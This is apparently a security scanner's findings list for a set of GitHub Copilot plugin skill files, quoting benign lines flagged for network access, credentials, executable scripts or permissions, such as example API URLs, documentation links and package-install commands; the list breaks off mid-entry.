"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "id": "%252fShared%2bDocuments%252fdata.json", - Network accessline 317
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-core.md
- Network accessline 170
"inputs": { "method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 171
"method": "GET", "uri": "https://api.example.com/customers/@{variables('customerId')}" } - Network accessline 172
"uri": "https://api.example.com/customers/@{variables('customerId')}" - Network accessline 233
"inputs": { "method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 234
"method": "POST", "uri": "https://api.example.com/contacts/@{item()?['Email']}" } - Network accessline 235
"uri": "https://api.example.com/contacts/@{item()?['Email']}" - Network accessline 364
"Start_Job": { "type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 365
"type": "Http", "inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } }, - Network accessline 366
"inputs": { "method": "POST", "uri": "https://api.example.com/jobs" } - Network accessline 384
"type": "Http", "runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 385
"runAfter": { "Delay": ["Succeeded"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } }, - Network accessline 386
"inputs": { "method": "GET", "uri": "https://api.example.com/jobs/history" } - Network accessline 435
"type": "Http", "runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 436
"runAfter": {}, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } }, - Network accessline 437
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=hi-res" } - Network accessline 440
"type": "Http", "runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } - Network accessline 441
"runAfter": { "HTTP_Get_Hi_Res": ["Failed"] }, "inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" } } - Network accessline 442
"inputs": { "method": "GET", "uri": "https://api.example.com/data?resolution=low-res" }
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/action-patterns-data.md
- Network accessline 312
"inputs": { "method": "POST", "uri": "https://api.example.com/endpoint", - Network accessline 313
"method": "POST", "uri": "https://api.example.com/endpoint", "headers": { - Network accessline 314
"uri": "https://api.example.com/endpoint", - Network accessline 342
"inputs": { "method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 343
"method": "GET", "uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", "headers": { - Network accessline 344
"uri": "https://graph.microsoft.com/v1.0/users?$search=\"employeeId:@{variables('Code')}\"&$select=id,displayName", - Network accessline 349
"authentication": { "type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", - Network accessline 350
"type": "ActiveDirectoryOAuth", "authority": "https://login.microsoftonline.com", "tenant": "<tenant-id>", - Network accessline 351
"authority": "https://login.microsoftonline.com", - Network accessline 352
"tenant": "<tenant-id>", "audience": "https://graph.microsoft.com", "clientId": "<app-registration-id>", - Network accessline 353
"audience": "https://graph.microsoft.com", - Network accessline 429
"inputs": { "method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", - Network accessline 430
"method": "POST", "uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>", "headers": { "Content-Type" - Network accessline 431
"uri": "https://prod-XX.australiasoutheast.logic.azure.com:443/workflows/<workflowId>/triggers/manual/paths/invoke?api-version=2016-06-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=<SAS>",
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/build-patterns.md
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/flow-schema.md
- Network accessline 10
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 11
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 210
{ "$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#", - Network accessline 211
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-build/references/trigger-types.md
- Network accessline 140
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 141
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 142
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 146
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 147
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 148
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 170
}, "parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 171
"parameters": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 172
"dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 176
"body": { "notificationUrl": "@listCallbackUrl()" }, "queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", - Network accessline 177
"queries": { "dataset": "https://mytenant.sharepoint.com/sites/mysite", "table": "MyList" - Network accessline 178
"dataset": "https://mytenant.sharepoint.com/sites/mysite",
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-debug/SKILL.md
- Network accessline 21
- A FlowStudio MCP subscription and reachable server are required: https://mcp.flowstudio.app. Also preserve the subscription URL without sentence punctuation: https://mcp.flowstudio.app - Network accessline 22
- Use `https://mcp.flowstudio.app/mcp`, `MCP_URL`, `MCP_TOKEN`, and a valid `YOUR_JWT_TOKEN`; never commit the token. - Access to secretsline 72
[Credential-related source omitted] - Network accessline 134
- [FlowStudio MCP subscription](https://mcp.flowstudio.app) - Network accessline 135
- [FlowStudio MCP endpoint](https://mcp.flowstudio.app/mcp) - Network accessline 136
- [Expression error in child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md) - Network accessline 137
- [Data entry, not a flow bug](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md) - Network accessline 138
- [Null value crashes child flow](https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md)
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-governance/SKILL.md
- Network accessline 4
Govern Power Automate flows and Power Apps at scale with the FlowStudio MCP cached store by classifying business impact, detecting orphaned resources, auditing connectors, enforcing compliance metadata, configuring notification rules, and c - Network accessline 5
metadata: source: "https://mcp.flowstudio.app." --- - Network accessline 6
source: "https://mcp.flowstudio.app." - Network accessline 23
- Requires FlowStudio for Teams or MCP Pro+ because `store_*` tools require a paid cached-store subscription. If the first `store_*` call returns 403 or 404, stop store calls, tell the user governance features require Pro+ access, and point - Network accessline 134
- [ ] Existing `tags` are read before appended tags are written. - [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported wit - Network accessline 135
- [ ] Governance-contact changes are not misrepresented as actual Power Automate ownership transfers. - [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - [ ] The report distinguish - Network accessline 136
- [ ] Pro+ 403/404 failures stop further store calls and are reported with https://mcp.flowstudio.app/pricing - Network accessline 141
- [FlowStudio MCP](https://mcp.flowstudio.app.) - Network accessline 142
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing)
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/SKILL.md
- Network accessline 21
- Requires a FlowStudio MCP subscription or compatible Power Automate MCP server: https://mcp.flowstudio.app. - Network accessline 22
- MCP endpoint: `https://mcp.flowstudio.app/mcp`. - Network accessline 82
Use Python with `urllib.request` when you want a dependency-free helper. Use Node.js 18+ when the repository is JavaScript or TypeScript and native `fetch`, `JSON.stringify`, and `JSON.parse` fit the stack. Avoid PowerShell for flow operati - Network accessline 89
[Credential-related source omitted] - Network accessline 90
MCP = "https://mcp.flowstudio.app/mcp" - Network accessline 93
payload = {"jsonrpc": "2.0", "method": "tools/call", "id": cid, "params": {"name": tool, "arguments": args}} req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 94
[Credential-related source omitted] - Network accessline 95
req = urllib.request.Request(MCP, data=json.dumps(payload).encode(), - Network accessline 97
"User-Agent": "FlowStudio-MCP/1.0"}) try: resp = urllib.request.urlopen(req, timeout=120) - Network accessline 98
try: resp = urllib.request.urlopen(req, timeout=120) except urllib.error.HTTPError as e: - Network accessline 99
resp = urllib.request.urlopen(req, timeout=120) - Network accessline 113
[Credential-related source omitted] - Network accessline 114
const MCP = "https://mcp.flowstudio.app/mcp"; - Network accessline 121
params: { name: tool, arguments: args }, }; const res = await fetch(MCP, { - Network accessline 122
}; const res = await fetch(MCP, { method: "POST", - Network accessline 123
const res = await fetch(MCP, { - Network accessline 158
| Symptom | Likely cause | Resolution | | --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 159
| --- | --- | --- | | HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | | HTTP `400` | Malformed JSON-RPC payload. | Check `Cont - Network accessline 160
| HTTP `401` or `403` | Token missing, expired, malformed, or prefixed incorrectly. | Get a fresh JWT from https://mcp.flowstudio.app and send it as `x-api-key`. | - Network accessline 223
**Status:** connected | needs auth | blocked **Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 224
**Endpoint:** `https://mcp.flowstudio.app/mcp` - Network accessline 243
- [ ] The MCP endpoint is `https://mcp.flowstudio.app/mcp`. - Network accessline 252
- FlowStudio MCP: https://mcp.flowstudio.app - Network accessline 253
- FlowStudio MCP endpoint: https://mcp.flowstudio.app/mcp - Network accessline 254
- FlowStudio MCP subscription page: https://mcp.flowstudio.app. - Network accessline 255
- Expression error in child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/fix-expression-error.md - Network accessline 256
- Data entry, not a flow bug: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/data-not-flow.md - Network accessline 257
- Null value crashes child flow: https://github.com/ninihen1/power-automate-mcp-skills/blob/main/examples/null-child-flow.md
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-mcp/references/MCP-BOOTSTRAP.md
- Network accessline 6
Endpoint: https://mcp.flowstudio.app/mcp
harness/github-copilot/plugins/flowstudio-power-automate/skills/flowstudio-power-automate-monitoring/SKILL.md
- Network accessline 26
> 1. STOP calling store tools > 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 27
> 2. Tell the user this feature requires a Pro+ subscription > 3. Link them to https://mcp.flowstudio.app/pricing > 4. If their question can be answered with live tools (e.g. "list flows in - Network accessline 28
> 3. Link them to https://mcp.flowstudio.app/pricing - Network accessline 59
**Enabling monitoring:** Set `monitor: true` via `update_store_flow` or the Flow Studio for Teams app ([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 61
([how to select flows](https://learn.flowstudio.app/teams-monitoring)). - Network accessline 124
"state": "Started", "triggerType": "Request", "triggerUrl": "https://{example-url}", - Network accessline 125
"triggerType": "Request", "triggerUrl": "https://{example-url}", "tags": ["#operations", "#sensitive"], - Network accessline 126
"triggerUrl": "https://{example-url}", - Network accessline 400
- [ ] `name` is `flowstudio-power-automate-monitoring` and matches the parent directory. - [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 401
- [ ] Pro+ access failure `403/404` stops further `store_*` calls and points to https://mcp.flowstudio.app/pricing . - Network accessline 410
- [FlowStudio pricing](https://mcp.flowstudio.app/pricing) - Network accessline 411
- [Flow Studio Teams monitoring](https://learn.flowstudio.app/teams-monitoring)
harness/github-copilot/plugins/frontend-experience/skills/anti-ui-slop/SKILL.md
- Network accessline 2
name: "anti-ui-slop" description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when bu - Network accessline 3
description: >- Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, - Network accessline 4
Prevent generic web and iOS interfaces by extracting product-specific design decisions from repository evidence and UIZZE's public catalogue of 800,000+ real web and iOS screens. Use this skill when building, refactoring, or reviewing UI, w - Network accessline 21
- Browse 800,000+ real web and iOS screens at https://uizze.com before choosing a layout when browsing is available. - Network accessline 42
Select three to five relevant web or iOS references from https://uizze.com before deciding. Prefer workflow, information density, navigation model, and interaction pattern over industry or color palette. - Network accessline 148
- [UIZZE public catalogue](https://uizze.com)
harness/github-copilot/plugins/frontend-experience/skills/frontend-accessibility/references/wcag-2.2-aa.md
- Network accessline 3
Use the normative [WCAG 2.2 Recommendation](https://www.w3.org/TR/WCAG22/) for exact criteria and conformance language. Use the [WAI-ARIA Authoring Practices Guide](https://www.w3.org/WAI/ARIA/apg/) as non-normative design-pattern and keybo
harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/icon-matrix.md
- Network accessline 15
Use `sizes="any"` only for scalable resources, as defined by the HTML link-type rules: https://html.spec.whatwg.org/multipage/links.html
harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/social-metadata.md
- Network accessline 16
Source: https://ogp.me/
harness/github-copilot/plugins/frontend-experience/skills/frontend-discoverability-assets/references/technical-seo.md
- Network accessline 23
- https://developers.google.com/search/docs/fundamentals/seo-starter-guide - Network accessline 24
- https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data - Network accessline 25
- https://developers.google.com/search/docs/crawling-indexing/robots/intro - Network accessline 26
- https://developers.google.com/search/docs/crawling-indexing/sitemaps/overview
harness/github-copilot/plugins/frontend-experience/skills/frontend-project-setup/scripts/install_companions.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/frontend-experience/skills/frontend-project-setup/tests/test_install_companions.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/frontend-experience/skills/frontend-release-quality-gate/scripts/check_traceability.py
- Executable scriptline 1
#!/usr/bin/env python3
harness/github-copilot/plugins/frontend-experience/skills/frontend-release-quality-gate/tests/test_check_traceability.py
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/frontend-experience/skills/premium-frontend-ui/SKILL.md
- Network accessline 5
metadata: author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" - Network accessline 6
author: "Utkarsh Patrikar" author_url: "https://github.com/utkarsh232005" --- - Network accessline 7
author_url: "https://github.com/utkarsh232005" - Network accessline 124
- [Author profile](https://github.com/utkarsh232005)
harness/github-copilot/plugins/frontend-experience/skills/web-design-reviewer/SKILL.md
- Network accessline 31
1. **Target website must be running** - Local development server (e.g., `http://localhost:3000`) - Network accessline 32
- Local development server (e.g., `http://localhost:3000`) - Network accessline 64
> Please provide the URL of the website to review (e.g., `http://localhost:3000`) - Network accessline 300
[Playwright MCP](https://github.com/microsoft/playwright-mcp) is recommended as the reference implementation for this skill. - Network accessline 392
**Status:** complete | needs fixes | blocked **Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 393
**Target URL:** `<http://localhost:3000 or remote URL>` - Network accessline 408
- [ ] `name` is `web-design-reviewer` and matches the parent directory. - [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 409
- [ ] The target URL is reachable, including `http://localhost:3000` when the local server is running. - Network accessline 419
- [Playwright MCP](https://github.com/microsoft/playwright-mcp)
harness/github-copilot/plugins/frontend-experience/skills/web-design-reviewer/references/framework-fixes.md
harness/github-copilot/plugins/git-github-workflow/skills/commit-message-storyteller/SKILL.md
- Network accessline 28
Use https://www.conventionalcommits.org/ as the specification source. Read `references/conventional-commits-guide.md` when examples or scope guidance are needed.
harness/github-copilot/plugins/git-github-workflow/skills/commit-message-storyteller/references/conventional-commits-guide.md
- Network accessline 3
Full spec: https://www.conventionalcommits.org/en/v1.0.0/
harness/github-copilot/plugins/git-github-workflow/skills/conventional-branch/SKILL.md
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/SKILL.md
- Network accessline 70
| Issue | Resolution | | --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surf - Network accessline 71
| --- | --- | | `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message - Network accessline 72
| `prerequisite missing — gh CLI is not on PATH` | Install `gh` from `https://cli.github.com` or with `winget install GitHub.cli` on Windows and `brew install gh` on macOS; then run `gh auth login`. Surface the script message and stop. | - Network accessline 129
- [GitHub CLI](https://cli.github.com)
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/01-request-review.ps1
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/02-check-review-status.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/03-list-open-threads.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/08-reply-and-resolve.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/09-review-round.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/10-cleanup-outdated.ps1
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/copilot-pr-autopilot/scripts/_lib.ps1
- Executable scriptline 1
Executable file - Network accessline 47
- winget install --id GitHub.cli (Windows) - brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 48
- brew install gh (macOS) - sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - https://cli.github.com/ (universal installer + download) - Dangerous shell operationline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 49
- sudo apt install gh (Debian/Ubuntu — see https://cli.github.com for other distros) - Network accessline 50
- https://cli.github.com/ (universal installer + download)
harness/github-copilot/plugins/git-github-workflow/skills/dependabot/SKILL.md
- Network accessline 349
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 350
[Credential-related source omitted] - Network accessline 351
url: https://npm.example.com - Network accessline 387
> Scan the dependencies I added on this branch for known vulnerabilities and tell me which versions to upgrade to before I commit. Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announ - Network accessline 388
Use the Advanced Security plugin dependency-scanning skill for the deeper agent-based scan workflow. > Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanni - Network accessline 389
> Announced in [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) (May 2026) - Network accessline 432
- [ ] Bundled references are cited only for deeper detail and every cited file exists. ## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-githu - Network accessline 433
## References - [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - [Example private registry endpoint](https://npm.e - Network accessline 434
- [Dependency scanning with GitHub MCP Server is in public preview](https://github.blog/changelog/2026-05-05-dependency-scanning-with-github-mcp-server-is-in-public-preview/) - Network accessline 435
- [Example private registry endpoint](https://npm.example.com)
harness/github-copilot/plugins/git-github-workflow/skills/dependabot/references/dependabot-yml-reference.md
- Network accessline 339
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 340
[Credential-related source omitted] - Network accessline 341
url: https://npm.example.com - Network accessline 344
maven-central: type: maven-repository url: https://repo.maven.apache.org/maven2 - Network accessline 345
type: maven-repository url: https://repo.maven.apache.org/maven2 username: "" - Network accessline 346
url: https://repo.maven.apache.org/maven2 - Network accessline 350
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 351
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 352
url: https://ghcr.io - Network accessline 356
python-private: type: python-index url: https://pypi.example.com/simple - Network accessline 357
[Credential-related source omitted] - Network accessline 358
url: https://pypi.example.com/simple
harness/github-copilot/plugins/git-github-workflow/skills/dependabot/references/example-configs.md
- Network accessline 168
npm-private: type: npm-registry url: https://npm.internal.example.com - Network accessline 169
[Credential-related source omitted] - Network accessline 170
url: https://npm.internal.example.com - Network accessline 173
docker-ghcr: type: docker-registry url: https://ghcr.io - Network accessline 174
type: docker-registry url: https://ghcr.io username: ${{secrets.GHCR_USER}} - Network accessline 175
url: https://ghcr.io - Network accessline 252
npm-private: type: npm-registry url: https://npm.example.com - Network accessline 253
[Credential-related source omitted] - Network accessline 254
url: https://npm.example.com
harness/github-copilot/plugins/git-github-workflow/skills/gh-attach/SKILL.md
harness/github-copilot/plugins/git-github-workflow/skills/git-commit/SKILL.md
- Broad permissionsline 1
Bash
harness/github-copilot/plugins/git-github-workflow/skills/git-flow-branch-creator/SKILL.md
- Broad permissionsline 1
bash
harness/github-copilot/plugins/git-github-workflow/skills/github-issues/references/images.md
- Network accessline 42
 - Access to secretsline 45
[Credential-related source omitted] - Network accessline 68
1. Open the issue/comment in a browser 2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Network accessline 69
2. Drag-drop or paste the image into the comment editor 3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL 4. These URLs work for anyone, even without repo access, and render in email notifications - Network accessline 70
3. GitHub generates a permanent `https://github.com/user-attachments/assets/{UUID}` URL - Access to secretsline 73
[Credential-related source omitted]
harness/github-copilot/plugins/git-github-workflow/skills/github-release/SKILL.md
- Network accessline 78
7. Update or create `CHANGELOG.md` in Keep a Changelog format using today's `YYYY-MM-DD` date, show the proposed section to the user, then write it. Add or update the comparison link: `https://github.com/OWNER/REPO/compare/vPREV...vNEXT`. - Network accessline 229
- [Keep a Changelog](https://keepachangelog.com/en/1.1.0/) - Network accessline 230
- [GitHub compare URL pattern](https://github.com/OWNER/REPO/compare/vPREV...vNEXT)
harness/github-copilot/plugins/git-github-workflow/skills/github-release/references/commit-classification.md
harness/github-copilot/plugins/git-github-workflow/skills/github-release/references/semver-rules.md
- Network accessline 3
Reference: https://semver.org/
harness/github-copilot/plugins/git-github-workflow/skills/gitmoji/SKILL.md
- Network accessline 2
name: "gitmoji" description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when ask - Network accessline 3
description: >- Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gi - Network accessline 4
Generate commit messages that follow the gitmoji convention (https://gitmoji.dev) by choosing the single best emoji or shortcode for a diff, staged change, or plain-language change description. Use when asked to write a gitmoji commit, add - Network accessline 10
Generate a copyable commit message in the https://gitmoji.dev/ convention: infer the dominant change intent, select exactly one gitmoji, match unicode versus shortcode style, and write an imperative subject plus optional body. - Network accessline 92
- Do not run `git commit` or any other mutating git command. - If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 93
- If the project follows plain Conventional Commits from https://www.conventionalcommits.org/ without emojis, use the `git-commit` skill instead. - Network accessline 141
- [gitmoji](https://gitmoji.dev) - Network accessline 142
- [gitmoji with trailing slash](https://gitmoji.dev/) - Network accessline 143
- [Conventional Commits](https://www.conventionalcommits.org/)
harness/github-copilot/plugins/git-github-workflow/skills/gitmoji/references/gitmoji-reference.md
- Network accessline 3
The complete official gitmoji list from [gitmoji.dev](https://gitmoji.dev/), in the order shown on the site. Each entry maps an emoji (and its `:shortcode:`) to the intent of the change it represents. - Network accessline 83
> Source: [gitmojis.json](https://github.com/carloscuesta/gitmoji/blob/master/packages/gitmojis/src/gitmojis.json) — 75 gitmojis.
harness/github-copilot/plugins/git-github-workflow/skills/issue-fields-migration/SKILL.md
- Network accessline 125
- [Issue fields public preview changelog](https://github.blog/changelog/2026-03-12-issue-fields-structured-issue-metadata-is-in-public-preview/)
harness/github-copilot/plugins/git-github-workflow/skills/make-repo-contribution/SKILL.md
- Broad permissionsline 1
Read Edit Bash(git:*) Bash(gh issue:*) Bash(gh pr:*)
harness/github-copilot/plugins/git-github-workflow/skills/pr-dashboard/scripts/lib/utils.mjs
- Executable scriptline 1
Executable file
harness/github-copilot/plugins/git-github-workflow/skills/pr-dashboard/scripts/pr-dashboard-cli.mjs
- Executable scriptline 1
#!/usr/bin/env node - Network accessline 219
return `<tr> <td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td> - Network accessline 220
<td><a href="https://github.com/${escapeHtml(pr.repo)}" target="_blank" rel="noopener noreferrer">${escapeHtml(pr.repo)}</a></td>
harness/github-copilot/plugins/go-to-market/skills/ad-campaign-analyzer/SKILL.md
- Network accessline 7
author: GooseWorks compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: https://githu - Network accessline 8
compatibility: Cross-platform. Pure reasoning skill over user-provided campaign exports (CSV, paste, or screenshot from Google, Meta, or LinkedIn) — no external tools, network calls, or API keys. source: https://github.com/gooseworks-ai/g - Network accessline 9
source: https://github.com/gooseworks-ai/goose-skills - Network accessline 215
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills)
harness/github-copilot/plugins/go-to-market/skills/competitor-ad-intelligence/SKILL.md
- Network accessline 7
author: GooseWorks compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: https://github.com/gooseworks-ai/goose-skills - Network accessline 8
compatibility: Cross-platform. Uses web search and public ad libraries only; no API keys or credentials required. source: https://github.com/gooseworks-ai/goose-skills version: "1.0" - Network accessline 9
source: https://github.com/gooseworks-ai/goose-skills - Network accessline 58
| Source | Direct URL or query | Collect | | --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing p - Network accessline 59
| --- | --- | --- | | Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B va - Network accessline 60
| Meta Ad Library | `https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>` | Ad copy, visual type, CTA, landing page URL, active duration, platforms, A/B variations | - Network accessline 61
| Meta search | `web_search: site:facebook.com/ads/library "[competitor_name]"`; `web_search: "[competitor_name]" Meta Ad Library active ads`; `web_search: "[competitor_name]" facebook ads examples` | Publicly indexed ad examples and librar - Network accessline 62
| Google Ads Transparency Center | `https://adstransparency.google.com/?search_text=<competitor_name>` | Headline variants, description lines, ad type, landing page URL, geographic targeting if visible | | Google search | `web_search: site: - Network accessline 281
- [GooseWorks source skill](https://github.com/gooseworks-ai/goose-skills) - Network accessline 282
- [Meta Ad Library search pattern](https://www.facebook.com/ads/harness/github-copilot/?active_status=active&ad_type=all&country=US&q=<competitor_name>) - Network accessline 283
- [Google Ads Transparency Center search pattern](https://adstransparency.google.com/?search_text=<competitor_name>)
harness/github-copilot/plugins/go-to-market/skills/gtm-0-to-1-launch/SKILL.md
- Network accessline 5
license: MIT metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 169
- [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm) - Network accessline 170
- [Smit Patel](https://linkedin.com/in/smitkpatel)
harness/github-copilot/plugins/go-to-market/skills/gtm-ai-gtm/SKILL.md
- Network accessline 5
license: "MIT" metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 6
metadata: author: "Smit Patel (https://linkedin.com/in/smitkpatel)" source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 7
author: "Smit Patel (https://linkedin.com/in/smitkpatel)" - Network accessline 8
source: "https://github.com/beingsmit/technical-product-gtm" - Network accessline 151
